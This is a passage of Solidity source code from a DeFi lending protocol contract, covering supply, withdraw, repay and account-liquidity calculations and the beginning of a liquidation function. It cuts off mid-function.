FailureInfo.SUPPLY_NEW_BORROW_INDEX_CALCULATION_FAILED ); } (rateCalculationResultCode, localResults.newBorrowRateMantissa) = market .interestRateModel .getBorrowRate(asset, localResults.updatedCash, market.totalBorrows); if (rateCalculationResultCode != 0) { revertEtherToUser(msg.sender, msg.value); return failOpaque( FailureInfo.SUPPLY_NEW_BORROW_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) // Save market updates market.blockNumber = block.number; market.totalSupply = localResults.newTotalSupply; market.supplyRateMantissa = localResults.newSupplyRateMantissa; market.supplyIndex = localResults.newSupplyIndex; market.borrowRateMantissa = localResults.newBorrowRateMantissa; market.borrowIndex = localResults.newBorrowIndex; // Save user updates localResults.startingBalance = balance.principal; // save for use in `SupplyReceived` event balance.principal = localResults.userSupplyUpdated; balance.interestIndex = localResults.newSupplyIndex; if (asset != wethAddress) { // WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically // We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above) revertEtherToUser(msg.sender, msg.value); err = doTransferIn(asset, msg.sender, amount); if (err != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail(err, FailureInfo.SUPPLY_TRANSFER_IN_FAILED); } } else { if (msg.value == amount) { uint256 supplyError = supplyEther(msg.value); if (supplyError != 0) { revertEtherToUser(msg.sender, msg.value); return fail( Error.WETH_ADDRESS_NOT_SET_ERROR, FailureInfo.WETH_ADDRESS_NOT_SET_ERROR ); } } else { revertEtherToUser(msg.sender, msg.value); return fail( Error.ETHER_AMOUNT_MISMATCH_ERROR, FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR ); } } emit SupplyReceived( msg.sender, asset, amount, localResults.startingBalance, balance.principal ); return uint256(Error.NO_ERROR); // success } /** * @notice withdraw `amount` of `ether` from sender's account to sender's address * @dev withdraw `amount` of `ether` from msg.sender's account to msg.sender * @param etherAmount Amount of ether to be converted to WETH * @param user User account address */ function withdrawEther(address user, uint256 etherAmount) internal returns (uint256) { WETHContract.withdraw(user, etherAmount); return uint256(Error.NO_ERROR); } /** * @notice withdraw `amount` of `asset` from sender's account to sender's address * @dev withdraw `amount` of `asset` from msg.sender's account to msg.sender * @param asset The market asset to withdraw * @param requestedAmount The amount to withdraw (or -1 for max) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function withdraw(address asset, uint256 requestedAmount) public nonReentrant returns (uint256) { if (paused) { return fail( Error.CONTRACT_PAUSED, FailureInfo.WITHDRAW_CONTRACT_PAUSED ); } refreshAlkIndex(asset, msg.sender, true, true); Market storage market = markets[asset]; Balance storage supplyBalance = supplyBalances[msg.sender][asset]; WithdrawLocalVars memory localResults; // Holds all our calculation results Error err; // Re-used for every function call that includes an Error in its return value(s). uint256 rateCalculationResultCode; // Used for 2 interest rate calculation calls // We calculate the user's accountLiquidity and accountShortfall. ( err, localResults.accountLiquidity, localResults.accountShortfall ) = calculateAccountLiquidity(msg.sender); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.WITHDRAW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED ); } // We calculate the newSupplyIndex, user's supplyCurrent and supplyUpdated for the asset (err, localResults.newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.WITHDRAW_NEW_SUPPLY_INDEX_CALCULATION_FAILED ); } (err, localResults.userSupplyCurrent) = calculateBalance( supplyBalance.principal, supplyBalance.interestIndex, localResults.newSupplyIndex ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.WITHDRAW_ACCUMULATED_BALANCE_CALCULATION_FAILED ); } // If the user specifies -1 amount to withdraw ("max"), withdrawAmount => the lesser of withdrawCapacity and supplyCurrent if (requestedAmount == uint256(-1)) { (err, localResults.withdrawCapacity) = getAssetAmountForValue( asset, localResults.accountLiquidity ); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.WITHDRAW_CAPACITY_CALCULATION_FAILED); } localResults.withdrawAmount = min( localResults.withdrawCapacity, localResults.userSupplyCurrent ); } else { localResults.withdrawAmount = requestedAmount; } // From here on we should NOT use requestedAmount. // Fail gracefully if protocol has insufficient cash // If protocol has insufficient cash, the sub operation will underflow. localResults.currentCash = getCash(asset); (err, localResults.updatedCash) = sub( localResults.currentCash, localResults.withdrawAmount ); if (err != Error.NO_ERROR) { return fail( Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.WITHDRAW_TRANSFER_OUT_NOT_POSSIBLE ); } // We check that the amount is less than or equal to supplyCurrent // If amount is greater than supplyCurrent, this will fail with Error.INTEGER_UNDERFLOW (err, localResults.userSupplyUpdated) = sub( localResults.userSupplyCurrent, localResults.withdrawAmount ); if (err != Error.NO_ERROR) { return fail( Error.INSUFFICIENT_BALANCE, FailureInfo.WITHDRAW_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } // Fail if customer already has a shortfall if (!isZeroExp(localResults.accountShortfall)) { return fail( Error.INSUFFICIENT_LIQUIDITY, FailureInfo.WITHDRAW_ACCOUNT_SHORTFALL_PRESENT ); } // We want to know the user's withdrawCapacity, denominated in the asset // Customer's withdrawCapacity of asset is (accountLiquidity in Eth)/ (price of asset in Eth) // Equivalently, we calculate the eth value of the withdrawal amount and compare it directly to the accountLiquidity in Eth (err, localResults.ethValueOfWithdrawal) = getPriceForAssetAmount( asset, localResults.withdrawAmount, false ); // amount * oraclePrice = ethValueOfWithdrawal if (err != Error.NO_ERROR) { return fail(err, FailureInfo.WITHDRAW_AMOUNT_VALUE_CALCULATION_FAILED); } // We check that the amount is less than withdrawCapacity (here), and less than or equal to supplyCurrent (below) if ( lessThanExp( localResults.accountLiquidity, localResults.ethValueOfWithdrawal ) ) { return fail( Error.INSUFFICIENT_LIQUIDITY, FailureInfo.WITHDRAW_AMOUNT_LIQUIDITY_SHORTFALL ); } // We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply. // Note that, even though the customer is withdrawing, if they've accumulated a lot of interest since their last // action, the updated balance *could* be higher than the prior checkpointed balance. (err, localResults.newTotalSupply) = addThenSub( market.totalSupply, localResults.userSupplyUpdated, supplyBalance.principal ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.WITHDRAW_NEW_TOTAL_SUPPLY_CALCULATION_FAILED ); } // The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it. (rateCalculationResultCode, localResults.newSupplyRateMantissa) = market .interestRateModel .getSupplyRate(asset, localResults.updatedCash, market.totalBorrows); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo.WITHDRAW_NEW_SUPPLY_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } // We calculate the newBorrowIndex (err, localResults.newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.WITHDRAW_NEW_BORROW_INDEX_CALCULATION_FAILED ); } (rateCalculationResultCode, localResults.newBorrowRateMantissa) = market .interestRateModel .getBorrowRate(asset, localResults.updatedCash, market.totalBorrows); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo.WITHDRAW_NEW_BORROW_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) // Save market updates market.blockNumber = block.number; market.totalSupply = localResults.newTotalSupply; market.supplyRateMantissa = localResults.newSupplyRateMantissa; market.supplyIndex = localResults.newSupplyIndex; market.borrowRateMantissa = localResults.newBorrowRateMantissa; market.borrowIndex = localResults.newBorrowIndex; // Save user updates localResults.startingBalance = supplyBalance.principal; // save for use in `SupplyWithdrawn` event supplyBalance.principal = localResults.userSupplyUpdated; supplyBalance.interestIndex = localResults.newSupplyIndex; if (asset != wethAddress) { // Withdrawal should happen as Ether directly // We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above) err = doTransferOut(asset, msg.sender, localResults.withdrawAmount); if (err != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail(err, FailureInfo.WITHDRAW_TRANSFER_OUT_FAILED); } } else { withdrawEther(msg.sender, localResults.withdrawAmount); // send Ether to user } emit SupplyWithdrawn( msg.sender, asset, localResults.withdrawAmount, localResults.startingBalance, supplyBalance.principal ); return uint256(Error.NO_ERROR); // success } /** * @dev Gets the user's account liquidity and account shortfall balances. This includes * any accumulated interest thus far but does NOT actually update anything in * storage, it simply calculates the account liquidity and shortfall with liquidity being * returned as the first Exp, ie (Error, accountLiquidity, accountShortfall). * @return Return values are expressed in 1e18 scale */ function calculateAccountLiquidity(address userAddress) internal view returns ( Error, Exp memory, Exp memory ) { Error err; Exp memory sumSupplyValuesMantissa; Exp memory sumBorrowValuesMantissa; ( err, sumSupplyValuesMantissa, sumBorrowValuesMantissa ) = calculateAccountValuesInternal(userAddress); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } Exp memory result; Exp memory sumSupplyValuesFinal = Exp({ mantissa: sumSupplyValuesMantissa.mantissa }); Exp memory sumBorrowValuesFinal; // need to apply collateral ratio (err, sumBorrowValuesFinal) = mulExp( collateralRatio, Exp({mantissa: sumBorrowValuesMantissa.mantissa}) ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } // if sumSupplies < sumBorrows, then the user is under collateralized and has account shortfall. // else the user meets the collateral ratio and has account liquidity. if (lessThanExp(sumSupplyValuesFinal, sumBorrowValuesFinal)) { // accountShortfall = borrows - supplies (err, result) = subExp(sumBorrowValuesFinal, sumSupplyValuesFinal); revertIfError(err); // Note: we have checked that sumBorrows is greater than sumSupplies directly above, therefore `subExp` cannot fail. return (Error.NO_ERROR, Exp({mantissa: 0}), result); } else { // accountLiquidity = supplies - borrows (err, result) = subExp(sumSupplyValuesFinal, sumBorrowValuesFinal); revertIfError(err); // Note: we have checked that sumSupplies is greater than sumBorrows directly above, therefore `subExp` cannot fail. return (Error.NO_ERROR, result, Exp({mantissa: 0})); } } /** * @notice Gets the ETH values of the user's accumulated supply and borrow balances, scaled by 10e18. * This includes any accumulated interest thus far but does NOT actually update anything in * storage * @dev Gets ETH values of accumulated supply and borrow balances * @param userAddress account for which to sum values * @return (error code, sum ETH value of supplies scaled by 10e18, sum ETH value of borrows scaled by 10e18) */ function calculateAccountValuesInternal(address userAddress) internal view returns ( Error, Exp memory, Exp memory ) { /** By definition, all collateralMarkets are those that contribute to the user's * liquidity and shortfall so we need only loop through those markets. * To handle avoiding intermediate negative results, we will sum all the user's * supply balances and borrow balances (with collateral ratio) separately and then * subtract the sums at the end. */ AccountValueLocalVars memory localResults; // Re-used for all intermediate results localResults.sumSupplies = Exp({mantissa: 0}); localResults.sumBorrows = Exp({mantissa: 0}); Error err; // Re-used for all intermediate errors localResults.collateralMarketsLength = collateralMarkets.length; for (uint256 i = 0; i < localResults.collateralMarketsLength; i++) { localResults.assetAddress = collateralMarkets[i]; Market storage currentMarket = markets[localResults.assetAddress]; Balance storage supplyBalance = supplyBalances[userAddress][ localResults.assetAddress ]; Balance storage borrowBalance = borrowBalances[userAddress][ localResults.assetAddress ]; if (supplyBalance.principal > 0) { // We calculate the newSupplyIndex and user’s supplyCurrent (includes interest) (err, localResults.newSupplyIndex) = calculateInterestIndex( currentMarket.supplyIndex, currentMarket.supplyRateMantissa, currentMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } (err, localResults.userSupplyCurrent) = calculateBalance( supplyBalance.principal, supplyBalance.interestIndex, localResults.newSupplyIndex ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } // We have the user's supply balance with interest so let's multiply by the asset price to get the total value (err, localResults.supplyTotalValue) = getPriceForAssetAmount( localResults.assetAddress, localResults.userSupplyCurrent, false ); // supplyCurrent * oraclePrice = supplyValueInEth if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } // Add this to our running sum of supplies (err, localResults.sumSupplies) = addExp( localResults.supplyTotalValue, localResults.sumSupplies ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } } if (borrowBalance.principal > 0) { // We perform a similar actions to get the user's borrow balance (err, localResults.newBorrowIndex) = calculateInterestIndex( currentMarket.borrowIndex, currentMarket.borrowRateMantissa, currentMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } (err, localResults.userBorrowCurrent) = calculateBalance( borrowBalance.principal, borrowBalance.interestIndex, localResults.newBorrowIndex ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } // We have the user's borrow balance with interest so let's multiply by the asset price to get the total value (err, localResults.borrowTotalValue) = getPriceForAssetAmount( localResults.assetAddress, localResults.userBorrowCurrent, false ); // borrowCurrent * oraclePrice = borrowValueInEth if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } // Add this to our running sum of borrows (err, localResults.sumBorrows) = addExp( localResults.borrowTotalValue, localResults.sumBorrows ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } } } return ( Error.NO_ERROR, localResults.sumSupplies, localResults.sumBorrows ); } /** * @notice Gets the ETH values of the user's accumulated supply and borrow balances, scaled by 10e18. * This includes any accumulated interest thus far but does NOT actually update anything in * storage * @dev Gets ETH values of accumulated supply and borrow balances * @param userAddress account for which to sum values * @return (uint 0=success; otherwise a failure (see ErrorReporter.sol for details), * sum ETH value of supplies scaled by 10e18, * sum ETH value of borrows scaled by 10e18) */ function calculateAccountValues(address userAddress) public view returns ( uint256, uint256, uint256 ) { ( Error err, Exp memory supplyValue, Exp memory borrowValue ) = calculateAccountValuesInternal(userAddress); if (err != Error.NO_ERROR) { return (uint256(err), 0, 0); } return (0, supplyValue.mantissa, borrowValue.mantissa); } /** * @notice Users repay borrowed assets from their own address to the protocol. * @param asset The market asset to repay * @param amount The amount to repay (or -1 for max) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrow(address asset, uint256 amount) public payable nonReentrant returns (uint256) { if (paused) { revertEtherToUser(msg.sender, msg.value); return fail( Error.CONTRACT_PAUSED, FailureInfo.REPAY_BORROW_CONTRACT_PAUSED ); } refreshAlkIndex(asset, msg.sender, false, true); PayBorrowLocalVars memory localResults; Market storage market = markets[asset]; Balance storage borrowBalance = borrowBalances[msg.sender][asset]; Error err; uint256 rateCalculationResultCode; // We calculate the newBorrowIndex, user's borrowCurrent and borrowUpdated for the asset (err, localResults.newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.REPAY_BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED ); } (err, localResults.userBorrowCurrent) = calculateBalance( borrowBalance.principal, borrowBalance.interestIndex, localResults.newBorrowIndex ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo .REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED ); } uint256 reimburseAmount; // If the user specifies -1 amount to repay (“max”), repayAmount => // the lesser of the senders ERC-20 balance and borrowCurrent if (asset != wethAddress) { if (amount == uint256(-1)) { localResults.repayAmount = min( getBalanceOf(asset, msg.sender), localResults.userBorrowCurrent ); } else { localResults.repayAmount = amount; } } else { // To calculate the actual repay use has to do and reimburse the excess amount of ETH collected if (amount > localResults.userBorrowCurrent) { localResults.repayAmount = localResults.userBorrowCurrent; (err, reimburseAmount) = sub( amount, localResults.userBorrowCurrent ); // reimbursement called at the end to make sure function does not have any other errors if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo .REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } } else { localResults.repayAmount = amount; } } // Subtract the `repayAmount` from the `userBorrowCurrent` to get `userBorrowUpdated` // Note: this checks that repayAmount is less than borrowCurrent (err, localResults.userBorrowUpdated) = sub( localResults.userBorrowCurrent, localResults.repayAmount ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo .REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } // Fail gracefully if asset is not approved or has insufficient balance // Note: this checks that repayAmount is less than or equal to their ERC-20 balance if (asset != wethAddress) { // WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically revertEtherToUser(msg.sender, msg.value); err = checkTransferIn(asset, msg.sender, localResults.repayAmount); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE ); } } // We calculate the protocol's totalBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow // Note that, even though the customer is paying some of their borrow, if they've accumulated a lot of interest since their last // action, the updated balance *could* be higher than the prior checkpointed balance. (err, localResults.newTotalBorrows) = addThenSub( market.totalBorrows, localResults.userBorrowUpdated, borrowBalance.principal ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.REPAY_BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED ); } // We need to calculate what the updated cash will be after we transfer in from user localResults.currentCash = getCash(asset); (err, localResults.updatedCash) = add( localResults.currentCash, localResults.repayAmount ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.REPAY_BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED ); } // The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it. // We calculate the newSupplyIndex, but we have newBorrowIndex already (err, localResults.newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.REPAY_BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED ); } (rateCalculationResultCode, localResults.newSupplyRateMantissa) = market .interestRateModel .getSupplyRate( asset, localResults.updatedCash, localResults.newTotalBorrows ); if (rateCalculationResultCode != 0) { revertEtherToUser(msg.sender, msg.value); return failOpaque( FailureInfo.REPAY_BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } (rateCalculationResultCode, localResults.newBorrowRateMantissa) = market .interestRateModel .getBorrowRate( asset, localResults.updatedCash, localResults.newTotalBorrows ); if (rateCalculationResultCode != 0) { revertEtherToUser(msg.sender, msg.value); return failOpaque( FailureInfo.REPAY_BORROW_NEW_BORROW_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) // Save market updates market.blockNumber = block.number; market.totalBorrows = localResults.newTotalBorrows; market.supplyRateMantissa = localResults.newSupplyRateMantissa; market.supplyIndex = localResults.newSupplyIndex; market.borrowRateMantissa = localResults.newBorrowRateMantissa; market.borrowIndex = localResults.newBorrowIndex; // Save user updates localResults.startingBalance = borrowBalance.principal; // save for use in `BorrowRepaid` event borrowBalance.principal = localResults.userBorrowUpdated; borrowBalance.interestIndex = localResults.newBorrowIndex; if (asset != wethAddress) { // WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically // We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above) revertEtherToUser(msg.sender, msg.value); err = doTransferIn(asset, msg.sender, localResults.repayAmount); if (err != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail(err, FailureInfo.REPAY_BORROW_TRANSFER_IN_FAILED); } } else { if (msg.value == amount) { uint256 supplyError = supplyEther(localResults.repayAmount); //Repay excess funds if (reimburseAmount > 0) { revertEtherToUser(msg.sender, reimburseAmount); } if (supplyError != 0) { revertEtherToUser(msg.sender, msg.value); return fail( Error.WETH_ADDRESS_NOT_SET_ERROR, FailureInfo.WETH_ADDRESS_NOT_SET_ERROR ); } } else { revertEtherToUser(msg.sender, msg.value); return fail( Error.ETHER_AMOUNT_MISMATCH_ERROR, FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR ); } } supplyOriginationFeeAsAdmin( asset, msg.sender, localResults.repayAmount, market.supplyIndex ); emit BorrowRepaid( msg.sender, asset, localResults.repayAmount, localResults.startingBalance, borrowBalance.principal ); return uint256(Error.NO_ERROR); // success } /** * @notice users repay all or some of an underwater borrow and receive collateral * @param targetAccount The account whose borrow should be liquidated * @param assetBorrow The market asset to repay * @param assetCollateral The borrower's market asset to receive in exchange * @param requestedAmountClose The amount to repay (or -1 for max) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function liquidateBorrow( address targetAccount, address assetBorrow, address assetCollateral, uint256 requestedAmountClose ) public payable returns (uint256) { if (paused) { return fail( Error.CONTRACT_PAUSED, FailureInfo.LIQUIDATE_CONTRACT_PAUSED ); } require(liquidators[msg.sender], "LIQUIDATOR_CHECK_FAILED"); refreshAlkIndex(assetCollateral, targetAccount, true, true); refreshAlkIndex(assetCollateral, msg.sender, true, true); refreshAlkIndex(assetBorrow, targetAccount, false, true); LiquidateLocalVars memory localResults; // Copy these addresses into the struct for use with `emitLiquidationEvent` // We'll use localResults.liquidator inside this function for clarity vs using msg.sender. localResults.targetAccount = targetAccount; localResults.assetBorrow = assetBorrow; localResults.liquidator = msg.sender; localResults.assetCollateral = assetCollateral; Market storage borrowMarket = markets[assetBorrow]; Market storage collateralMarket = markets[assetCollateral]; Balance storage borrowBalance_TargeUnderwaterAsset = borrowBalances[ targetAccount ][assetBorrow]; Balance storage supplyBalance_TargetCollateralAsset = supplyBalances[ targetAccount ][assetCollateral]; // Liquidator might already hold some of the collateral asset Balance storage supplyBalance_LiquidatorCollateralAsset = supplyBalances[localResults.liquidator][assetCollateral]; uint256 rateCalculationResultCode; // Used for multiple interest rate calculation calls Error err; // re-used for all intermediate errors (err, localResults.collateralPrice) = fetchAssetPrice(assetCollateral); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.LIQUIDATE_FETCH_ASSET_PRICE_FAILED); } (err, localResults.underwaterAssetPrice) = fetchAssetPrice(assetBorrow); // If the price oracle is not set, then we would have failed on the first call to fetchAssetPrice revertIfError(err); // We calculate newBorrowIndex_UnderwaterAsset and then use it to help calculate currentBorrowBalance_TargetUnderwaterAsset ( err, localResults.newBorrowIndex_UnderwaterAsset ) = calculateInterestIndex( borrowMarket.borrowIndex, borrowMarket.borrowRateMantissa, borrowMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_BORROWED_ASSET ); } ( err, localResults.currentBorrowBalance_TargetUnderwaterAsset ) = calculateBalance( borrowBalance_TargeUnderwaterAsset.principal, borrowBalance_TargeUnderwaterAsset.interestIndex, localResults.newBorrowIndex_UnderwaterAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_ACCUMULATED_BORROW_BALANCE_CALCULATION_FAILED ); } // We calculate newSupplyIndex_CollateralAsset and then use it to help calculate currentSupplyBalance_TargetCollateralAsset ( err, localResults.newSupplyIndex_CollateralAsset ) = calculateInterestIndex( collateralMarket.supplyIndex, collateralMarket.supplyRateMantissa, collateralMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET ); } ( err, localResults.currentSupplyBalance_TargetCollateralAsset ) = calculateBalance( supplyBalance_TargetCollateralAsset.principal, supplyBalance_TargetCollateralAsset.interestIndex, localResults.newSupplyIndex_CollateralAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET ); } // Liquidator may or may not already have some collateral asset. // If they do, we need to accumulate interest on it before adding the seized collateral to it. // We re-use newSupplyIndex_CollateralAsset calculated above to help calculate currentSupplyBalance_LiquidatorCollateralAsset ( err, localResults.currentSupplyBalance_LiquidatorCollateralAsset ) = calculateBalance( supplyBalance_LiquidatorCollateralAsset.principal, supplyBalance_LiquidatorCollateralAsset.interestIndex, localResults.newSupplyIndex_CollateralAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET ); } // We update the protocol's totalSupply for assetCollateral in 2 steps, first by adding target user's accumulated // interest and then by adding the liquidator's accumulated interest. // Step 1 of 2: We add the target user's supplyCurrent and subtract their checkpointedBalance // (which has the desired effect of adding accrued interest from the target user) (err, localResults.newTotalSupply_ProtocolCollateralAsset) = addThenSub( collateralMarket.totalSupply, localResults.currentSupplyBalance_TargetCollateralAsset, supplyBalance_TargetCollateralAsset.principal ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET ); } // Step 2 of 2: We add the liquidator's supplyCurrent of collateral asset and subtract their checkpointedBalance // (which has the desired effect of adding accrued interest from the calling user) (err, localResults.newTotalSupply_ProtocolCollateralAsset) = addThenSub( localResults.newTotalSupply_ProtocolCollateralAsset, localResults.currentSupplyBalance_LiquidatorCollateralAsset, supplyBalance_LiquidatorCollateralAsset.principal ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET ); } // We calculate maxCloseableBorrowAmount_TargetUnderwaterAsset, the amount of borrow that can be closed from the target user // This is equal to the lesser of // 1. borrowCurrent; (already calculated) // 2. ONLY IF MARKET SUPPORTED: discountedRepayToEvenAmount: // discountedRepayToEvenAmount= // shortfall / [Oracle price for the borrow * (collateralRatio - liquidationDiscount - 1)] // 3. discountedBorrowDenominatedCollateral // [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow) // Here we calculate item 3. discountedBorrowDenominatedCollateral = // [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow) ( err, localResults.discountedBorrowDenominatedCollateral ) = calculateDiscountedBorrowDenominatedCollateral( localResults.underwaterAssetPrice, localResults.collateralPrice, localResults.currentSupplyBalance_TargetCollateralAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_BORROW_DENOMINATED_COLLATERAL_CALCULATION_FAILED ); } if (borrowMarket.isSupported) { // Market is supported, so we calculate item 2 from above. ( err, localResults.discountedRepayToEvenAmount ) = calculateDiscountedRepayToEvenAmount( targetAccount, localResults.underwaterAssetPrice, assetBorrow ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_DISCOUNTED_REPAY_TO_EVEN_AMOUNT_CALCULATION_FAILED ); } // We need to do a two-step min to select from all 3 values // min1&3 = min(item 1, item 3) localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min( localResults.currentBorrowBalance_TargetUnderwaterAsset, localResults.discountedBorrowDenominatedCollateral ); // min1&3&2 = min(min1&3, 2) localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min( localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset, localResults.discountedRepayToEvenAmount ); } else { // Market is not supported, so we don't need to calculate item 2. localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min( localResults.currentBorrowBalance_TargetUnderwaterAsset, localResults.discountedBorrowDenominatedCollateral ); } // If liquidateBorrowAmount = -1, then closeBorrowAmount_TargetUnderwaterAsset = maxCloseableBorrowAmount_TargetUnderwaterAsset if (assetBorrow != wethAddress) { if (requestedAmountClose == uint256(-1)) { localResults .closeBorrowAmount_TargetUnderwaterAsset = localResults .maxCloseableBorrowAmount_TargetUnderwaterAsset; } else { localResults .closeBorrowAmount_TargetUnderwaterAsset = requestedAmountClose; } } else { // To calculate the actual repay use has to do and reimburse the excess amount of ETH collected if ( requestedAmountClose > localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset ) { localResults .closeBorrowAmount_TargetUnderwaterAsset = localResults .maxCloseableBorrowAmount_TargetUnderwaterAsset; (err, localResults.reimburseAmount) = sub( requestedAmountClose, localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset ); // reimbursement called at the end to make sure function does not have any other errors if (err != Error.NO_ERROR) { return fail( err, FailureInfo .REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } } else { localResults .closeBorrowAmount_TargetUnderwaterAsset = requestedAmountClose; } } // From here on, no more use of `requestedAmountClose` // Verify closeBorrowAmount_TargetUnderwaterAsset <= maxCloseableBorrowAmount_TargetUnderwaterAsset if ( localResults.closeBorrowAmount_TargetUnderwaterAsset > localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset ) { return fail( Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_TOO_HIGH ); } // seizeSupplyAmount_TargetCollateralAsset = closeBorrowAmount_TargetUnderwaterAsset * priceBorrow/priceCollateral *(1+liquidationDiscount) ( err, localResults.seizeSupplyAmount_TargetCollateralAsset ) = calculateAmountSeize( localResults.underwaterAssetPrice, localResults.collateralPrice, localResults.closeBorrowAmount_TargetUnderwaterAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.LIQUIDATE_AMOUNT_SEIZE_CALCULATION_FAILED ); } // We are going to ERC-20 transfer 